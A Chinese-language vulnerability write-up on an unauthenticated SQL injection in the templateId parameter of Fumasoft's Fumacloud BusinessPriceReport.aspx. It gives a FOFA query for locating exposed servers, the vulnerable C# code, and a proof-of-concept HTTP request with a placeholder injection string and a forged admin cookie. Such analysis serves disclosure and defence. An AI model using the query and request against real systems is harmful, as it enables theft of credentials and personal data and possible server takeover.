漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云BusinessPriceReport.aspx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 BusinessPriceReport.aspx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 BusinessPriceReport 方法的实现如下
protected void Page_Load(object sender, EventArgs e)
{
string str1 = this.Request.QueryString["templateId"] == null ? "29" : this.Request.QueryString["templateId"].ToString();
DataTable table = MySqlHelper.ExecuteDataSet(new EncryptData().DecryptString(MySqlHelper.DBConnectionString), (CommandType) 1, $"select * from Tempelate where TempelateId = '{str1}' ").Tables[0];
参数templateId未过滤或校验就被直接拼接进SQL语句执行,从而造成SQL注入漏洞。
漏洞复现
GET /m/Dingding/Product/BusinessPriceReport.aspx?templateId='SQLI_POC-- HTTP/1.1
Host:
Cookie: UserCookie={"empId":"admin","corpId": "1"}

成功通过报错注入在响应回显数据库版本信息


